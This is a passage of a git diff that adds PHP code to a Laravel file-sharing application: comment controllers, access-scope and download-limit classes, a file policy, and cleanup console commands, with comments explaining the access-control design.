$validated['body'], + $this->replyTarget($viewer, $file, $validated['reply_to'] ?? null), + ); + + return response()->json($this->payload($viewer, $file), 201); + } + + public function update(Request $request, FileComment $comment): JsonResponse + { + $viewer = $request->user(); + assert($viewer !== null); + Gate::forUser($viewer)->authorize('update', $comment); + + $validated = $request->validate(['body' => ['required', 'string', 'max:5000']]); + + $this->comments->edit($comment, $validated['body']); + + return response()->json($this->payload($viewer, $comment->file)); + } + + public function destroy(Request $request, FileComment $comment): JsonResponse + { + $viewer = $request->user(); + assert($viewer !== null); + Gate::forUser($viewer)->authorize('delete', $comment); + + $file = $comment->file; + + $this->comments->remove($comment); + + return response()->json($this->payload($viewer, $file)); + } + + /** + * @return array + */ + private function payload(User $viewer, File $file): array + { + return $this->presenter->thread($viewer, $file); + } + + /** + * The comment being answered, resolved through the same scope that + * decided what this viewer may read. A reply can therefore only ever + * join a conversation they were already shown — an id they were not + * given resolves to null and the comment is treated as a fresh one, + * rather than 403ing on something they cannot be told exists. + */ + private function replyTarget(User $viewer, File $file, ?int $id): ?FileComment + { + if ($id === null) { + return null; + } + + return $this->scope->for($viewer, $file)->whereKey($id)->first(); + } +} diff --git a/app/Modules/Comments/Http/Controllers/PublicFileCommentsController.php b/app/Modules/Comments/Http/Controllers/PublicFileCommentsController.php new file mode 100644 index 00000000..cac592c0 --- /dev/null +++ b/app/Modules/Comments/Http/Controllers/PublicFileCommentsController.php @@ -0,0 +1,105 @@ +guard($publicSlug, $file); + + return response()->json($this->presenter->thread($request->user(), $file)); + } + + public function store(Request $request, string $publicSlug, File $file): JsonResponse + { + $this->guard($publicSlug, $file); + + $viewer = $request->user(); + + $validated = $request->validate([ + 'body' => ['required', 'string', 'max:5000'], + // A visitor has no account to take a name from, so they give + // one. Ignored for a signed-in author, whose name is real. + 'guest_name' => [$viewer === null ? 'required' : 'nullable', 'string', 'max:80'], + // Accepted and ignored: the shared composer sends the whole + // form, and a visitor's only possible visibility is Everyone. + 'visibility' => ['nullable', 'string'], + // Only a visitor is challenged — see CommentingRules. A signed + // in viewer reaching this endpoint is served as themselves, and + // proving they are human on a page that knows who they are + // would be friction with nothing behind it. + ...($this->rules->captchaRequiredFor($viewer) ? Rules::captcha(CaptchaForm::Comment) : []), + ]); + + $comment = $this->comments->post( + $file, + $viewer, + CommentVisibility::Everyone, + $validated['body'], + null, + $validated['guest_name'] ?? null, + ); + + // So a visitor keeps seeing their own comment while it waits. The + // only place this is recorded, because it is the only place a + // comment is written without an account. + if ($viewer === null) { + $this->guests->remember($comment->id); + } + + return response()->json($this->presenter->thread($viewer, $file), 201); + } + + /** + * The file must be reachable without logging in, and the public + * listing itself must be switched on — the same two conditions + * PublicGroupsController applies before rendering the page this + * endpoint belongs to. Commenting being configured off 404s rather + * than returning an empty thread: the endpoint should not exist. + */ + private function guard(string $publicSlug, File $file): void + { + abort_unless($this->settings->get(Setting::PublicListingSlug) === $publicSlug, 404); + abort_unless($file->isEffectivelyPublic() && ! $file->isExpired(), 404); + abort_unless($this->rules->enabled(), 404); + } +} diff --git a/app/Modules/Comments/Http/Resources/Api/FileCommentResource.php b/app/Modules/Comments/Http/Resources/Api/FileCommentResource.php new file mode 100644 index 00000000..fd1c0afa --- /dev/null +++ b/app/Modules/Comments/Http/Resources/Api/FileCommentResource.php @@ -0,0 +1,56 @@ +toArray(): that would + * publish whatever the next migration adds. Two columns are held back on + * purpose: + * + * - `ip_address` is recorded for anonymous comments so repeat spam can be + * acted on. It is personal data collected for moderation, and an + * integration reading a thread has no business with it. + * - `client_context_id` is which client's conversation a comment belongs + * to. It is surfaced as `thread` below, and only to tokens whose owner + * is staff — which every API token is today, but stating the rule here + * means it survives a future client-facing token. + */ +class FileCommentResource extends JsonResource +{ + /** + * @return array + */ + public function toArray(Request $request): array + { + $viewer = $request->user(); + + return [ + 'id' => $this->id, + 'file_id' => $this->file_id, + 'body' => $this->body, + 'visibility' => $this->visibility->value, + 'author' => [ + 'id' => $this->author_id, + 'name' => $this->authorName(), + 'type' => $this->author_id === null ? 'guest' : ($this->author?->isStaff() === true ? 'staff' : 'client'), + ], + // Whose conversation this is, when it is one client's rather + // than every client's. Staff only, and null on a comment + // addressed to all of them. + 'conversation' => $viewer?->isStaff() === true && $this->client_context_id !== null + ? ['client_id' => $this->client_context_id, 'client_name' => $this->clientContext?->name] + : null, + 'approved' => ! $this->isPending(), + 'created_at' => $this->created_at?->toIso8601String(), + 'edited_at' => $this->edited_at?->toIso8601String(), + ]; + } +} diff --git a/app/Modules/Comments/Models/FileComment.php b/app/Modules/Comments/Models/FileComment.php new file mode 100644 index 00000000..7cdd80a9 --- /dev/null +++ b/app/Modules/Comments/Models/FileComment.php @@ -0,0 +1,130 @@ + */ + use HasFactory; + + use SoftDeletes; + + protected $guarded = []; + + /** + * Laravel derives a factory's name by stripping the App\Models prefix, + * which this module-namespaced model does not have — so name it here + * rather than have the lookup miss. + */ + protected static function newFactory(): FileCommentFactory + { + return FileCommentFactory::new(); + } + + protected function casts(): array + { + return [ + 'visibility' => CommentVisibility::class, + 'approved_at' => 'datetime', + 'edited_at' => 'datetime', + ]; + } + + /** + * @return BelongsTo + */ + public function file(): BelongsTo + { + return $this->belongsTo(File::class); + } + + /** + * @return BelongsTo + */ + public function author(): BelongsTo + { + return $this->belongsTo(User::class, 'author_id'); + } + + /** + * The client whose conversation this comment belongs to — not its + * author. + * + * Null means the comment is not one client's: a Clients comment with no + * context is staff addressing everyone on the file, and OnlyMe / + * StaffOnly / Everyone have no client in them to begin with. A + * staff-only note is its own audience now, not a null context. + * + * @return BelongsTo + */ + public function clientContext(): BelongsTo + { + return $this->belongsTo(User::class, 'client_context_id'); + } + + public function isPending(): bool + { + return $this->approved_at === null; + } + + public function isFromGuest(): bool + { + return $this->author_id === null; + } + + /** + * The name to show. Snapshotted for guests at write time; read live + * for accounts so a rename is reflected everywhere at once. + * + * author_id cascades on delete, so a row that has one always has the + * account behind it — there is no deleted-author case to snapshot + * against, unlike the activity log's actor_name. + */ + public function authorName(): string + { + $author = $this->author; + + if ($author !== null) { + return $author->name; + } + + return $this->guest_name ?? (string) __('Anonymous'); + } +} diff --git a/app/Modules/Comments/Notifications/CommentDigestNotification.php b/app/Modules/Comments/Notifications/CommentDigestNotification.php new file mode 100644 index 00000000..1a98e371 --- /dev/null +++ b/app/Modules/Comments/Notifications/CommentDigestNotification.php @@ -0,0 +1,62 @@ + $items + */ + public function __construct( + private readonly array $items, + ) {} + + /** + * @return array + */ + public function via(object $notifiable): array + { + return ['mail']; + } + + public function toMail(object $notifiable): MailMessage + { + $count = count($this->items); + + $message = ($override = $this->overrideOrNull(EmailTemplateSlot::CommentDigest)) !== null + ? $this->mailFromOverride($override, [':count' => (string) $count]) + : (new MailMessage) + ->subject(__(':count new comments', ['count' => $count])) + ->line(__('There are :count new comments for you:', ['count' => $count])); + + foreach ($this->items as $item) { + $message->line(__(':author commented on ":name"', [ + 'author' => (string) ($item->context['author_name'] ?? __('Someone')), + 'name' => $item->subject_name, + ])); + } + + return $message->action(__('View your files'), route('my-files.index')); + } +} diff --git a/app/Modules/Comments/Notifications/CommentPostedNotification.php b/app/Modules/Comments/Notifications/CommentPostedNotification.php new file mode 100644 index 00000000..65173a1e --- /dev/null +++ b/app/Modules/Comments/Notifications/CommentPostedNotification.php @@ -0,0 +1,73 @@ +subject_name, + (string) ($item->context['author_name'] ?? __('Someone')), + isset($item->context['file_id']) ? (int) $item->context['file_id'] : null, + ); + } + + /** + * @return array + */ + public function via(object $notifiable): array + { + return ['mail']; + } + + public function toMail(object $notifiable): MailMessage + { + $replacements = [':name' => $this->fileName, ':author' => $this->authorName]; + + $message = ($override = $this->overrideOrNull(EmailTemplateSlot::CommentPosted)) !== null + ? $this->mailFromOverride($override, $replacements) + : (new MailMessage) + ->subject(__('New comment on ":name"', ['name' => $this->fileName])) + ->line(__(':author commented on ":name".', ['author' => $this->authorName, 'name' => $this->fileName])); + + return $message->action(__('Read the comment'), $this->url()); + } + + /** + * The deep link resolves per viewer (staff and clients have no page in + * common), so it is safe to send the same URL to either. + */ + private function url(): string + { + return $this->fileId === null ? route('my-files.index') : route('comments.go', $this->fileId); + } +} diff --git a/app/Modules/Files/Access/DownloadAllowance.php b/app/Modules/Files/Access/DownloadAllowance.php new file mode 100644 index 00000000..f9b6eb31 --- /dev/null +++ b/app/Modules/Files/Access/DownloadAllowance.php @@ -0,0 +1,210 @@ +applies($file, $viewer)) { + return null; + } + + return max(0, (int) $file->download_limit - $this->used($file, $viewer)); + } + + public function allows(File $file, ?User $viewer): bool + { + $remaining = $this->remaining($file, $viewer); + + return $remaining === null || $remaining > 0; + } + + /** + * How much of the allowance has been spent — the whole file's + * downloads under Total, this person's own under PerUser. + */ + public function used(File $file, ?User $viewer): int + { + if ($this->scopeFor($file, $viewer) === DownloadLimitScope::PerUser && $viewer !== null) { + return $file->downloads()->where('actor_id', $viewer->id)->count(); + } + + return $file->downloads()->count(); + } + + /** + * What a listing needs to show, decided here rather than in the + * listing. + * + * Themes render this; they never work it out. The props contract in + * docs/theming-files-checklist.md is explicit that a theme must not + * re-derive a rule, and there are eight of them — the per-user + * scope and the uploader exemption would be wrong in at least one + * within a release. + * + * Reads the counts withCounts() attached, so a page of rows costs + * the two subqueries that query already added and nothing further. + * Enforcement never comes through here: `own_downloads_count` is + * only true for the viewer it was loaded for, and a guard that read + * a stale one would be a guard that let the wrong person through. + * + * @return array{limit: int|null, left: int|null, blocked: bool} + */ + public function summaryFor(File $file, ?User $viewer): array + { + if (! $this->applies($file, $viewer)) { + return ['limit' => null, 'left' => null, 'blocked' => false]; + } + + $perUser = $this->scopeFor($file, $viewer) === DownloadLimitScope::PerUser; + $used = (int) ($perUser + ? ($file->own_downloads_count ?? $file->downloads()->where('actor_id', $viewer?->id)->count()) + : ($file->downloads_count ?? $file->downloads()->count())); + + $left = max(0, (int) $file->download_limit - $used); + + return ['limit' => (int) $file->download_limit, 'left' => $left, 'blocked' => $left === 0]; + } + + /** + * Whether any file in this installation has a limit at all. + * + * One indexed query, so a listing can decide whether to count + * downloads per row. The overwhelming majority of installs never set + * a limit on anything and should not pay two correlated subqueries + * per file for a feature they do not use. + */ + public function isUsedAnywhere(): bool + { + return $this->usedAnywhere ??= File::query()->whereNotNull('download_limit')->exists(); + } + + /** + * Attach the counts a listing needs to show a spent limit. + * + * Both are added because the scope varies per row: a page can hold a + * Total-limited file next to a PerUser-limited one, and picking the + * right number in SQL would mean a correlated subquery that branches + * on a column. Cheaper to select both and let the presenter choose — + * and only when the install uses limits at all. + * + * @param Builder $query + * @return Builder + */ + public function withCounts(Builder $query, ?User $viewer): Builder + { + if (! $this->isUsedAnywhere()) { + return $query; + } + + return $this->withOwnCount($query->withCount('downloads'), $viewer); + } + + /** + * Just the viewer's own count, for a listing that already selects the + * shared one for its own reasons — the staff library shows a + * downloads column whether or not anything is limited, so it must + * keep asking for that count unconditionally. + * + * @param Builder $query + * @return Builder + */ + public function withOwnCount(Builder $query, ?User $viewer): Builder + { + if ($viewer === null || ! $this->isUsedAnywhere()) { + return $query; + } + + return $query->withCount(['downloads as own_downloads_count' => fn (Builder $downloads) => $downloads + ->where('actor_id', $viewer->id)]); + } + + /** + * The scope actually in force for this viewer. + * + * PerUser has no meaning for a visitor who is not signed in — there + * is no "user" to count against. Rather than inventing one from an IP + * address (v1 counted anonymous downloads per IP over 24 hours, which + * gives a whole office behind one NAT a single shared allowance, and + * stops working entirely when Setting::DownloadIpLogging is `none`), + * an anonymous visitor falls back to the file's total. + */ + private function scopeFor(File $file, ?User $viewer): DownloadLimitScope + { + $scope = $file->download_limit_scope ?? DownloadLimitScope::Total; + + return $viewer === null ? DownloadLimitScope::Total : $scope; + } + + private function applies(File $file, ?User $viewer): bool + { + if (! $file->hasDownloadLimit()) { + return false; + } + + // The uploader's own downloads never count against their own + // limit, and are never refused by it. + return ! ($viewer !== null && $file->isOwnedBy($viewer)); + } +} diff --git a/app/Modules/Files/Access/ShareTargets.php b/app/Modules/Files/Access/ShareTargets.php new file mode 100644 index 00000000..9a616b52 --- /dev/null +++ b/app/Modules/Files/Access/ShareTargets.php @@ -0,0 +1,147 @@ +, groups: list} + */ + public function assigned(File|Folder $subject): array + { + [$clientIds, $groupIds] = $this->assignedIds($subject); + + return [ + 'clients' => $this->clients($clientIds), + 'groups' => $this->groups($groupIds), + ]; + } + + /** + * The assigned lists plus everything still available to share with, + * narrowed to what this viewer is allowed to reach. + * + * @return array{assigned_clients: list, assigned_groups: list, available_clients: list, available_groups: list} + */ + public function forSubject(File|Folder $subject, User $viewer): array + { + [$clientIds, $groupIds] = $this->assignedIds($subject); + + // Resolved once each: these hit the database, and the call sites this + // replaces evaluated them twice apiece — once to decide whether to + // filter, once to supply the ids. + $assignableClientIds = $this->scope->assignableClientIds($viewer); + $assignableGroupIds = $this->scope->assignableGroupIds($viewer); + + $availableClients = User::query() + ->where('type', UserType::Client) + ->whereNotIn('id', $clientIds) + ->when($assignableClientIds !== null, fn (Builder $query) => $query->whereIn('id', $assignableClientIds)) + ->orderBy('name') + ->get(); + + $availableGroups = Group::query() + ->whereNotIn('id', $groupIds) + ->when($assignableGroupIds !== null, fn (Builder $query) => $query->whereIn('id', $assignableGroupIds)) + ->orderBy('name') + ->get(); + + $assigned = $this->assigned($subject); + + return [ + 'assigned_clients' => $assigned['clients'], + 'assigned_groups' => $assigned['groups'], + 'available_clients' => $this->pairs($availableClients), + 'available_groups' => $this->pairs($availableGroups), + ]; + } + + /** + * @return array{0: Collection, 1: Collection} + */ + private function assignedIds(File|Folder $subject): array + { + // A file revision owns no assignment rows — it inherits the + // recipients of its version chain's root (File::sharingOwnerId). + // Reading its own rows would show every revision as shared with + // nobody, which is the opposite of what is true. + $assigned = $subject instanceof File + ? FileAssignment::query()->where('file_id', $subject->sharingOwnerId())->get() + : $subject->assignments()->get(); + + // getMorphClass() rather than ::class, so this keeps agreeing with + // what was written to assignable_type even if a morph map is added. + return [ + $assigned->where('assignable_type', (new User)->getMorphClass())->pluck('assignable_id'), + $assigned->where('assignable_type', (new Group)->getMorphClass())->pluck('assignable_id'), + ]; + } + + /** + * @param Collection $ids + * @return list + */ + private function clients(Collection $ids): array + { + return $this->pairs(User::query()->whereIn('id', $ids)->orderBy('name')->get()); + } + + /** + * @param Collection $ids + * @return list + */ + private function groups(Collection $ids): array + { + return $this->pairs(Group::query()->whereIn('id', $ids)->orderBy('name')->get()); + } + + /** + * Built by iteration rather than map()->values(): Collection's value + * template is invariant, so passing a Collection where + * Collection is declared does not type-check, and the + * result of map() is not provably a list either. + * + * @param iterable $models + * @return list + */ + private function pairs(iterable $models): array + { + $pairs = []; + + foreach ($models as $model) { + $pairs[] = ['id' => (int) $model->getKey(), 'name' => $model->name]; + } + + return $pairs; + } +} diff --git a/app/Modules/Files/Access/SharingIdentity.php b/app/Modules/Files/Access/SharingIdentity.php new file mode 100644 index 00000000..97a9db52 --- /dev/null +++ b/app/Modules/Files/Access/SharingIdentity.php @@ -0,0 +1,79 @@ + $groupIds + */ + public static function assignedToClient(User $client, array $groupIds): QueryBuilder + { + $userMorph = (new User)->getMorphClass(); + $groupMorph = (new Group)->getMorphClass(); + + return FileAssignment::query()->toBase() + ->select('file_id') + ->where(function (QueryBuilder $query) use ($client, $groupIds, $userMorph, $groupMorph): void { + $query->where(function (QueryBuilder $direct) use ($client, $userMorph): void { + $direct->where('assignable_type', $userMorph)->where('assignable_id', $client->id); + })->orWhere(function (QueryBuilder $viaGroup) use ($groupIds, $groupMorph): void { + $viaGroup->where('assignable_type', $groupMorph)->whereIn('assignable_id', $groupIds); + }); + }); + } + + /** + * File ids assigned to any of $groupIds. + * + * @param list|Collection $groupIds + */ + public static function assignedToGroups(iterable $groupIds): QueryBuilder + { + $groupMorph = (new Group)->getMorphClass(); + + return FileAssignment::query()->toBase() + ->select('file_id') + ->where('assignable_type', $groupMorph) + ->whereIn('assignable_id', $groupIds instanceof Collection ? $groupIds->all() : $groupIds); + } +} diff --git a/app/Modules/Files/Access/StaffLibraryScope.php b/app/Modules/Files/Access/StaffLibraryScope.php new file mode 100644 index 00000000..491e3726 --- /dev/null +++ b/app/Modules/Files/Access/StaffLibraryScope.php @@ -0,0 +1,148 @@ + files(User $user) + * @method Builder folders(User $user) + */ +class StaffLibraryScope +{ + /** + * @return Builder + */ + public function files(User $user): Builder + { + $query = File::query(); + + if (! $user->isClientScoped()) { + return $query; + } + + // Own uploads ∪ files visible to each assigned client. The + // per-client visibility is File::scopeVisibleToClient — the single + // source of truth for client file access — so no rule is duplicated. + return $query->where(function (Builder $outer) use ($user): void { + $outer->where('uploaded_by', $user->id); + + foreach ($user->assignedClients as $client) { + $outer->orWhere(fn (Builder $scoped) => $scoped->visibleToClient($client)); + } + }); + } + + /** + * @return Builder + */ + public function folders(User $user): Builder + { + $query = Folder::query(); + + if (! $user->isClientScoped()) { + return $query; + } + + return $query->where(function (Builder $outer) use ($user): void { + $outer->where('created_by', $user->id); + + foreach ($user->assignedClients as $client) { + $outer->orWhere(fn (Builder $scoped) => $scoped->visibleToClient($client)); + } + }); + } + + /** + * Whether a scoped staff member may reach this specific file. Unscoped + * staff always may; the policies AND this into their permission checks + * so direct access respects the same boundary as the listings. + */ + public function allowsFile(User $user, File $file): bool + { + if (! $user->isClientScoped()) { + return true; + } + + return $this->files($user)->whereKey($file->getKey())->exists(); + } + + public function allowsFolder(User $user, Folder $folder): bool + { + if (! $user->isClientScoped()) { + return true; + } + + return $this->folders($user)->whereKey($folder->getKey())->exists(); + } + + /** + * Client ids a user may share with, or null when unrestricted (the + * whole roster). A scoped user may only share with their assigned + * clients. + * + * @return list|null + */ + public function assignableClientIds(User $user): ?array + { + if (! $user->isClientScoped()) { + return null; + } + + return array_values($user->assignedClients()->pluck('users.id')->map(fn ($id): int => (int) $id)->all()); + } + + /** + * Group ids a user may share with, or null when unrestricted. A scoped + * user may share with any group that contains at least one of their + * assigned clients. + * + * @return list|null + */ + public function assignableGroupIds(User $user): ?array + { + if (! $user->isClientScoped()) { + return null; + } + + $clientIds = $this->assignableClientIds($user) ?? []; + + if ($clientIds === []) { + return []; + } + + return array_values(Group::query() + ->whereHas('members', fn (Builder $members) => $members->whereIn('users.id', $clientIds)) + ->pluck('id')->map(fn ($id): int => (int) $id)->all()); + } + + public function canAssignClient(User $user, User $client): bool + { + $ids = $this->assignableClientIds($user); + + return $ids === null || in_array($client->id, $ids, true); + } + + public function canAssignGroup(User $user, Group $group): bool + { + $ids = $this->assignableGroupIds($user); + + return $ids === null || in_array($group->id, $ids, true); + } +} diff --git a/app/Modules/Files/Access/ViewableFileScope.php b/app/Modules/Files/Access/ViewableFileScope.php new file mode 100644 index 00000000..2e25ceac --- /dev/null +++ b/app/Modules/Files/Access/ViewableFileScope.php @@ -0,0 +1,54 @@ + + */ + public function for(User $user): Builder + { + if (! $user->isStaff()) { + return File::query()->visibleToClient($user); + } + + // Mirrors FilePolicy::view()'s staff branch: the permission half is + // a property of the viewer, not the row, so it either opens the + // whole scope or closes it entirely. + $permitted = $user->can('upload') || $user->can('edit_files') || $user->can('edit_others_files'); + + if (! $permitted) { + return File::query()->whereRaw('1 = 0'); + } + + return $this->scope->files($user); + } +} diff --git a/app/Modules/Files/CategoryColor.php b/app/Modules/Files/CategoryColor.php new file mode 100644 index 00000000..4050c1f7 --- /dev/null +++ b/app/Modules/Files/CategoryColor.php @@ -0,0 +1,23 @@ +option('repair'); + $problems = 0; + + // Invariant 1: previous_file_id IS NULL <=> version_root_id IS NULL. + $mismatched = File::withTrashed() + ->where(fn (Builder $q) => $q + ->where(fn (Builder $w) => $w->whereNull('previous_file_id')->whereNotNull('version_root_id')) + ->orWhere(fn (Builder $w) => $w->whereNotNull('previous_file_id')->whereNull('version_root_id'))) + ->get(); + + foreach ($mismatched as $file) { + $problems++; + $this->warn("File #{$file->id} has previous_file_id={$file->previous_file_id} but version_root_id={$file->version_root_id}."); + + if ($repair) { + $versions->recomputeRoots($file->id); + } + } + + // Invariant 1b: the stamped root must actually be the head of the chain. + $stamped = File::withTrashed()->whereNotNull('version_root_id')->get(); + + foreach ($stamped as $file) { + $head = $this->headOf($file); + + if ($head === $file->version_root_id) { + continue; + } + + $problems++; + $this->warn("File #{$file->id} is stamped with root #{$file->version_root_id} but its chain heads at #{$head}."); + + if ($repair) { + $versions->recomputeRoots($file->id); + } + } + + // Invariant 2: a revision owns no assignments of its own. Not + // repaired automatically — the rows may be the only record of an + // audience, and merging them into the root would widen it silently. + $strays = FileAssignment::query() + ->whereIn('file_id', File::withTrashed()->whereNotNull('version_root_id')->select('id')) + ->get(); + + foreach ($strays->groupBy('file_id') as $fileId => $rows) { + $problems++; + $this->warn("File #{$fileId} is a revision but owns {$rows->count()} assignment row(s). Revisions inherit the original's recipients; these are ignored by every visibility query and should be reviewed by hand."); + } + + if ($problems === 0) { + $this->info('File version chains are consistent.'); + + return self::SUCCESS; + } + + $this->newLine(); + $this->error("{$problems} problem(s) found.".($repair ? ' Repairable ones were fixed.' : ' Re-run with --repair to fix what can be fixed automatically.')); + + return self::FAILURE; + } + + /** + * Walk back to the head of $file's chain, guarded by MAX_CHAIN so a + * corrupted cycle reports rather than hangs — which is the case this + * command exists to catch. + */ + private function headOf(File $file): ?int + { + $cursor = $file; + $steps = 0; + + while ($cursor->previous_file_id !== null && ++$steps <= FileVersions::MAX_CHAIN) { + $next = File::withTrashed()->find($cursor->previous_file_id); + + if ($next === null) { + break; + } + + $cursor = $next; + } + + return $cursor->is($file) ? null : $cursor->id; + } +} diff --git a/app/Modules/Files/Console/PurgeExpiredFilesCommand.php b/app/Modules/Files/Console/PurgeExpiredFilesCommand.php new file mode 100644 index 00000000..ae78fdfc --- /dev/null +++ b/app/Modules/Files/Console/PurgeExpiredFilesCommand.php @@ -0,0 +1,46 @@ +get(Setting::ExpiredFilesAutoDeleteEnabled) !== true) { + $this->info('Auto-delete of expired files is disabled.'); + + return self::SUCCESS; + } + + $graceDays = (int) $settings->get(Setting::ExpiredFilesDeleteAfterDays); + + $due = File::query() + ->whereNotNull('expires_at') + ->where('expires_at', '<=', now()->subDays($graceDays)) + ->get(); + + foreach ($due as $file) { + $activity->logSystem(Action::ExpiredFileDeleted, ['name' => $file->name, 'id' => $file->id]); + // Soft delete — File::booted()'s `deleted` hook already runs + // FileDiskCleanup, same as a manual delete from the editor. + $file->delete(); + } + + $this->info("Deleted {$due->count()} expired file(s)."); + + return self::SUCCESS; + } +} diff --git a/app/Modules/Files/Console/PurgeOrphanFilesCommand.php b/app/Modules/Files/Console/PurgeOrphanFilesCommand.php new file mode 100644 index 00000000..119bbd0a --- /dev/null +++ b/app/Modules/Files/Console/PurgeOrphanFilesCommand.php @@ -0,0 +1,71 @@ +isActive()) { + $this->info('External storage is active — orphan auto-delete only ever runs against local storage, so it is skipped.'); + + return self::SUCCESS; + } + + if ($settings->get(Setting::OrphanFilesAutoDeleteEnabled) !== true) { + $this->info('Auto-delete of orphan files is disabled.'); + + return self::SUCCESS; + } + + $cutoff = now()->subDays((int) $settings->get(Setting::OrphanFilesDeleteAfterDays)); + $deleted = 0; + + foreach ($scanner->scan() as $orphan) { + // Belt and suspenders: scannedDisks() only ever includes + // 'files_external' when external storage is active, and we + // already returned above when it is — but filter explicitly + // rather than relying on that alone. + if ($orphan['disk'] !== 'files' || $orphan['last_modified'] > $cutoff->timestamp) { + continue; + } + + // Re-validate right before deleting — same defensive re-check + // the controller's own destroy() does, in case something + // claimed this path since the scan ran a moment ago. + if (! $scanner->isOrphan($orphan['disk'], $orphan['path'])) { + continue; + } + + Storage::disk($orphan['disk'])->delete($orphan['path']); + $activity->logSystem(Action::OrphanFileAutoDeleted, ['name' => basename($orphan['path']), 'disk' => $orphan['disk']]); + $deleted++; + } + + $this->info("Deleted {$deleted} orphan file(s)."); + + return self::SUCCESS; + } +} diff --git a/app/Modules/Files/Console/PurgeStaleUploadsCommand.php b/app/Modules/Files/Console/PurgeStaleUploadsCommand.php new file mode 100644 index 00000000..b995def5 --- /dev/null +++ b/app/Modules/Files/Console/PurgeStaleUploadsCommand.php @@ -0,0 +1,30 @@ +where('created_at', '<', now()->subDay())->get(); + + foreach ($stale as $session) { + $parts->abort($session); + $session->delete(); + } + + $this->info("Purged {$stale->count()} stale upload session(s)."); + + return self::SUCCESS; + } +} diff --git a/app/Modules/Files/Console/PurgeZipDownloadsCommand.php b/app/Modules/Files/Console/PurgeZipDownloadsCommand.php new file mode 100644 index 00000000..41330062 --- /dev/null +++ b/app/Modules/Files/Console/PurgeZipDownloadsCommand.php @@ -0,0 +1,33 @@ +where('created_at', '<', now()->subDay())->get(); + + foreach ($stale as $zipDownload) { + if ($zipDownload->path !== null) { + Storage::disk('files')->delete($zipDownload->path); + } + + $zipDownload->delete(); + } + + $this->info("Purged {$stale->count()} stale zip download(s)."); + + return self::SUCCESS; + } +} diff --git a/app/Modules/Files/DeletedAccountContent.php b/app/Modules/Files/DeletedAccountContent.php new file mode 100644 index 00000000..ee6d6d30 --- /dev/null +++ b/app/Modules/Files/DeletedAccountContent.php @@ -0,0 +1,104 @@ + File::query()->where('uploaded_by', $user->id)->count(), + 'folders' => Folder::query()->where('created_by', $user->id)->count(), + ]; + } + + /** + * Bulk form of summarize(), for list pages that need every row's counts + * without an N+1 query per row. + * + * @param iterable $userIds + * @return array + */ + public function summarizeMany(iterable $userIds): array + { + $ids = collect($userIds)->all(); + + $files = File::query()->whereIn('uploaded_by', $ids) + ->selectRaw('uploaded_by, count(*) as aggregate') + ->groupBy('uploaded_by') + ->pluck('aggregate', 'uploaded_by'); + + $folders = Folder::query()->whereIn('created_by', $ids) + ->selectRaw('created_by, count(*) as aggregate') + ->groupBy('created_by') + ->pluck('aggregate', 'created_by'); + + return collect($ids)->mapWithKeys(fn (int $id): array => [ + $id => ['files' => (int) ($files[$id] ?? 0), 'folders' => (int) ($folders[$id] ?? 0)], + ])->all(); + } + + /** + * Removes only content the account actually owns. A folder it created + * is deleted only if — after removing the account's own files — the + * folder's subtree ends up completely empty (no files, no child + * folders); otherwise it's kept but ownerless, matching the state a + * hard delete already leaves behind via the created_by FK's + * nullOnDelete(). Processed deepest-first so a fully-owned subtree can + * collapse bottom-up in one pass. + * + * @return array{files: int, folders: int} + */ + public function cascadeDelete(User $user): array + { + return DB::transaction(function () use ($user): array { + $files = File::query()->where('uploaded_by', $user->id)->get(); + $files->each->delete(); + + $folders = Folder::query()->where('created_by', $user->id)->get() + ->sortByDesc(fn (Folder $folder): int => $folder->depth()); + + $foldersDeleted = 0; + foreach ($folders as $folder) { + $empty = ! File::query()->where('folder_id', $folder->id)->exists() + && ! Folder::query()->where('parent_id', $folder->id)->exists(); + + if ($empty) { + $folder->delete(); + $foldersDeleted++; + } else { + $folder->update(['created_by' => null]); + } + } + + return ['files' => $files->count(), 'folders' => $foldersDeleted]; + }); + } + + /** + * @return array{files: int, folders: int} + */ + public function reassignTo(User $from, User $to): array + { + return DB::transaction(fn (): array => [ + 'files' => File::query()->where('uploaded_by', $from->id)->update(['uploaded_by' => $to->id]), + 'folders' => Folder::query()->where('created_by', $from->id)->update(['created_by' => $to->id]), + ]); + } +} diff --git a/app/Modules/Files/DownloadLimitScope.php b/app/Modules/Files/DownloadLimitScope.php new file mode 100644 index 00000000..aa0365e8 --- /dev/null +++ b/app/Modules/Files/DownloadLimitScope.php @@ -0,0 +1,28 @@ +disk)->delete($file->path); + + // Every rendition, for every audience — a deleted file's bytes + // must not survive on disk because whoever wrote the cleanup + // only knew about the one copy they had in mind. + foreach (ThumbnailGenerator::pathsFor($file->id, $file->mime_type) as $renditionPath) { + Storage::disk('files')->delete($renditionPath); + } + } catch (Throwable $exception) { + Log::warning('Could not remove disk bytes for deleted file '.$file->id.': '.$exception->getMessage()); + } + } +} diff --git a/app/Modules/Files/FilePolicy.php b/app/Modules/Files/FilePolicy.php new file mode 100644 index 00000000..f918c6d7 --- /dev/null +++ b/app/Modules/Files/FilePolicy.php @@ -0,0 +1,83 @@ +isStaff()) { + return ($user->can('upload') || $user->can('edit_files') || $user->can('edit_others_files')) + && $this->scope->allowsFile($user, $file); + } + + return File::query()->whereKey($file->id)->visibleToClient($user)->exists(); + } + + public function update(User $user, File $file): bool + { + if (! $user->isStaff()) { + return false; + } + + $permitted = $file->isOwnedBy($user) ? $user->can('edit_files') : $user->can('edit_others_files'); + + return $permitted && $this->scope->allowsFile($user, $file); + } + + /** + * May this user use $file as either end of a version link? + * + * Checked on BOTH ends by FileVersions::link(), and that is the whole + * control — the candidate endpoints filter the same way, but a + * previous_file_id can be posted directly, so filtering the picker is + * a courtesy and this is the boundary. + * + * Staff get the same rule as editing, because linking moves the + * subject's assignment rows onto the original and so widens the + * original's audience — a strictly bigger act than reading it. + * + * A client gets their OWN UPLOADS ONLY, deliberately not + * ViewableFileScope: a client can see every file staff shared with + * them, and since a revision inherits the original's recipients, + * letting a client name a shared file as their upload's original + * would hand that upload the entire recipient list of a file they do + * not own. That is the escalation this method exists to stop. + */ + public function setVersion(User $user, File $file): bool + { + if ($user->isStaff()) { + return $this->update($user, $file); + } + + return $file->isOwnedBy($user); + } + + public function delete(User $user, File $file): bool + { + if (! $user->isStaff()) { + return false; + } + + $permitted = $file->isOwnedBy($user) ? $user->can('delete_files') : $user->can('delete_others_files'); + + return $permitted && $this->scope->allowsFile($user, $file); + } +} diff --git a/app/Modules/Files/FilesServiceProvider.php b/app/Modules/Files/FilesServiceProvider.php new file mode 100644 index 00000000..f750b6de --- /dev/null +++ b/app/Modules/Files/FilesServiceProvider.php @@ -0,0 +1,93 @@ +app->make(RenderedImageCache::class)->flush(); + }); + + // Emailed by the debounced digest rather than by 